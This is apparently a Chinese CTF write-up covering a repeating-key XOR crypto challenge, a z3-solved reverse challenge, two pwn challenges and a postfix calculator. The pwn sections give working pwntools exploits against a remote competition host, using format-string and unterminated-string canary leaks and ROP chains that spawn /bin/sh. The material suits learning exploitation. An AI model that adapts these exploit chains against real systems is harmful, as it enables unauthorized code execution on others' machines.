[TOC]
de1ctf xorz
1 2 3 4 5 6 7 8 9 10 from itertools import *from data import flag,plainkey=flag.strip("de1ctf{" ).strip("}" ) assert (len(key<38 ))salt="WeAreDe1taTeam" ki=cycle(key) si=cycle(salt) cipher = '' .join([hex(ord(p) ^ ord(next(ki)) ^ ord(next(si)))[2 :].zfill(2 ) for p in plain]) print cipher
因为密钥重复使用,所以猜测密钥长度后分组,密文分组异或=明文分组异或,利用空格异或字母大小写转换,可以确定明文的空格字符和对应的字符,逐步推出明文字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from itertools import *import stringimport copycypher='49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c' .decode('hex' ) salt="WeAreDe1taTeam" s1=cycle(salt) tmp=[ord(next(s1))^ord(c) for c in cypher] k_len=30 flag=[] for count in range(0 ,len(tmp)-6 *k_len,k_len): number = 0 a1=tmp[count:k_len+count] ''' if(str.isalpha(chr(a6[i]^a1[i])) or a1[i]^a6[i]==0): if (str.isalpha(chr(a2[i] ^ a6[i]))or a2[i]^a6[i]==0): if (str.isalpha(chr(a3[i] ^ a6[i]))or a3[i]^a6[i]==0): if (str.isalpha(chr(a4[i] ^ a6[i]))or a4[i]^a6[i]==0): if (str.isalpha(chr(a5[i] ^ a6[i])) or a5[i] ^ a6[i] == 0): print i,chr(a6[i])''' a2 = tmp[count+k_len:2 *k_len+count] a3 = tmp[count+2 *k_len:3 *k_len+count] a4 = tmp[count+3 *k_len:4 *k_len+count] a5 = tmp[count + 4 *k_len:5 * k_len + count] a6 = tmp[count + 5 *k_len:6 * k_len + count] for i in range(len(a1)): if (str.isalpha(chr(a1[i] ^ a2[i])) or a1[i] ^ a2[i] == 0 ): if (str.isalpha(chr(a1[i] ^ a3[i])) or a1[i] ^ a3[i] == 0 ): if (str.isalpha(chr(a1[i] ^ a4[i])) or a1[i] ^ a4[i] == 0 ): if (str.isalpha(chr(a1[i] ^ a5[i])) or a1[i] ^ a5[i] == 0 ): if (str.isalpha(chr(a1[i] ^ a6[i])) or a1[i] ^ a6[i] == 0 ): flag.append(str(i)+':' +chr(a1[i]^ord(' ' ))) print list(set(flag))
或者也可以用set集合,把每个明文可能的异或结果都记录,最后分组做&操作(这是参考队里其他师傅的做法)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from itertools import *import stringimport copycypher='49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c' .decode('hex' ) salt="WeAreDe1taTeam" s1=cycle(salt) tmp=[ord(next(s1))^ord(c) for c in cypher] sett=[set() for i in range(0x100 )] table=string.letters+string.digits+' .,\';' for i in table: for j in table: num=ord(i)^ord(j) sett[num].add(i) for k_len in range(38 ,0 ,-1 ): for i in range(k_len): s=copy.deepcopy(sett[tmp[i]]) for j in range(i,len(tmp),k_len): s&=sett[tmp[j]] if not len(s): break elif (i==k_len-1 ): print k_len k_len=30 for i in range(k_len): s = copy.deepcopy(sett[tmp[i]]) for j in range(i, len(tmp), k_len ): s &= sett[tmp[j]] print s,i
suctf hardcpp
用了控制流平坦化和虚假指令,我是手撸的,但是找师傅要了去混淆的脚本,打算后面学习下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 '''def encry(a1,a2): return ((a1^18)*3+2)^(a2%7+a2)''' from z3 import *flag = [BitVec('flag[%d]' % i, 8 ) for i in range(21 )] s = Solver() def get_models (s) : while s.check() == sat: m = s.model() yield m s.add(Or([sym() != m[sym] for sym in m.decls()])) s.add(And((((flag[0 ]^18 )*3 +2 )^(flag[0 ]%7 +flag[1 ]))==0xf3 , (((flag[1 ]^18 )*3 +2 )^(flag[1 ]%7 +flag[2 ]))==0x2e , (((flag[2 ]^18 )*3 +2 )^(flag[2 ]%7 +flag[3 ]))==0x18 , (((flag[3 ]^18 )*3 +2 )^(flag[3 ]%7 +flag[4 ]))==0x36 , (((flag[4 ]^18 )*3 +2 )^(flag[4 ]%7 +flag[5 ]))==0x0E1 , (((flag[5 ]^18 )*3 +2 )^(flag[5 ]%7 +flag[6 ]))==0x4C , (((flag[6 ]^18 )*3 +2 )^(flag[6 ]%7 +flag[7 ]))==0x22 , (((flag[7 ]^18 )*3 +2 )^(flag[7 ]%7 +flag[8 ]))==0xD1 , (((flag[8 ]^18 )*3 +2 )^(flag[8 ]%7 +flag[9 ]))==0xF9 , (((flag[9 ]^18 )*3 +2 )^(flag[9 ]%7 +flag[10 ]))==0x8C , (((flag[10 ]^18 )*3 +2 )^(flag[10 ]%7 +flag[11 ]))==0x40 , (((flag[11 ]^18 )*3 +2 )^(flag[11 ]%7 +flag[12 ]))==0x76 , (((flag[12 ]^18 )*3 +2 )^(flag[12 ]%7 +flag[13 ]))==0xF4 , (((flag[13 ]^18 )*3 +2 )^(flag[13 ]%7 +flag[14 ]))==0xe , (((flag[14 ]^18 )*3 +2 )^(flag[14 ]%7 +flag[15 ]))==0x0 , (((flag[15 ]^18 )*3 +2 )^(flag[15 ]%7 +flag[16 ]))==0x5 , (((flag[16 ]^18 )*3 +2 )^(flag[16 ]%7 +flag[17 ]))==0xA3 , (((flag[17 ]^18 )*3 +2 )^(flag[17 ]%7 +flag[18 ]))==0x90 , (((flag[18 ]^18 )*3 +2 )^(flag[18 ]%7 +flag[19 ]))==0x0e , (((flag[19 ]^18 )*3 +2 )^(flag[19 ]%7 +flag[20 ]))==0xA5 )) for i in range(21 ): s.add(And(0x20 < flag[i], flag[i] < 0x7f )) for m in get_models(s): serial = [m[flag[i]].as_long() for i in range(21 )] key = '' for _ in serial: key += chr(_) print key
第五空间 被迫做了两道pwn
栈溢出覆盖seed,可以得到十次guess number,然后格式化字符串可以得到文件加载基址和cannary,最后构造rop就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] p=remote('111.33.164.4' ,50001 ) p.recvuntil('game?\n' ) p.sendline('1' ) p.recvuntil(' : ' ) p.sendline('%23$p' +'%17$p' +'a' *18 +p64(0xDEADBEEF )) p.recvuntil('guess:' ) p.sendline('20580' ) p.recvuntil('guess:' ) p.sendline('97396' ) p.recvuntil('guess:' ) p.sendline('50168' ) p.recvuntil('guess:' ) p.sendline('59152' ) p.recvuntil('guess:' ) p.sendline('22838' ) p.recvuntil('guess:' ) p.sendline('39971' ) p.recvuntil('guess:' ) p.sendline('88926' ) p.recvuntil('guess:' ) p.sendline('77090' ) p.recvuntil('guess:' ) p.sendline('32494' ) p.recvuntil('guess:' ) p.sendline('86846' ) p.recvuntil('Correct!' ) a=p.recv() print alog.success(a[17 :33 ]) canary=int(a[17 :33 ],16 ) print canaryvmmap=int(a[3 :15 ],16 )-0xabf print vmmappwn=vmmap+0xaa0 pop=vmmap+0xdb3 bss=vmmap+0x202088 pop_rsi=vmmap+0xdb1 reada=vmmap+0x8f0 p.sendline('a' *0x34 +p64(canary)+'b' *8 +p64(pop)+'\x00' *8 +p64(pop_rsi)+p64(bss)*2 +p64(reada)+p64(pop)+p64(bss)+p64(pwn)) p.sendline('/bin/sh' ) p.interactive()
栈溢出,字符串没用0截断可以泄露canary
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *import base64p=remote('111.33.164.4' ,50009 ) context.log_level = 'debug' p.recv() p.sendline('YWFhYWFhYWFh' ) a='\x00' +p.recv()[21 :28 ] canary=u64(a) bss=0x6ccbc0 reada=0x43ff70 log.success(hex(canary)) p.sendline('yes' ) b='a' *8 +p64(canary)+'a' *8 +p64(0x401e36 )+p64(0 )+p64(0x401f57 )+p64(bss)+p64(reada)+p64(0x4715e4 )+p64(59 )+p64(0x401e36 )+p64(bss)+p64(0x401f57 )+p64(0 )+p64(0x4433e6 )+p64(0 )+p64(0x4003da ) payload=base64.b64encode(b) p.sendline(payload) gdb.attach(p) p.sendline('no' ) p.sendline('/bin/sh\x00' ) p.interactive() ''' 4715e4 pop eax 401e36 pop rdi 401f57 : pop rsi ; ret 4433e6 : pop rdx ; ret syscall 4003da'''
因为这比赛用的libc很迷,特意学了下libcdb。。。
算法 后缀计算,就是一个栈的问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 #include <iostream> #include <fstream> #include <algorithm> #include <vector> #include <string> #include <stack> using namespace std ;stack <int > tmp;int a,b;string text;int main () { ifstream inFile ("p.in" ) ; ofstream outFile ("p.out" ) ; streambuf *cin_buf=cin .rdbuf(); streambuf *cout_buf=cout .rdbuf(); cin .rdbuf(inFile.rdbuf()); cout .rdbuf(outFile.rdbuf()); getline(cin ,text); int len=text.length(); for (int i=0 ;i<len;++i){ if (text[i]==' ' ) continue ; if (text[i]=='+' ) { a=tmp.top(); tmp.pop(); b=tmp.top(); tmp.pop(); tmp.push(a+b); } else if (text[i]=='-' ) { a=tmp.top(); tmp.pop(); b=tmp.top(); tmp.pop(); tmp.push(b-a); } else if (text[i]=='-' ) { a=tmp.top(); tmp.pop(); b=tmp.top(); tmp.pop(); tmp.push(b-a); } else if (text[i]=='*' ) { a=tmp.top(); tmp.pop(); b=tmp.top(); tmp.pop(); tmp.push(b*a); } else if (text[i]=='/' ) { a=tmp.top(); tmp.pop(); b=tmp.top(); tmp.pop(); tmp.push(b/(float )a); } else { int k=0 ; while ('0' <=text[i]&&text[i]<='9' ){ if (text[i]==' ' ) {++i; continue ; } k=k*10 +text[i]-'0' ; ++i; } tmp.push(k); } } cout <<tmp.top()<<endl ; return 0 ; }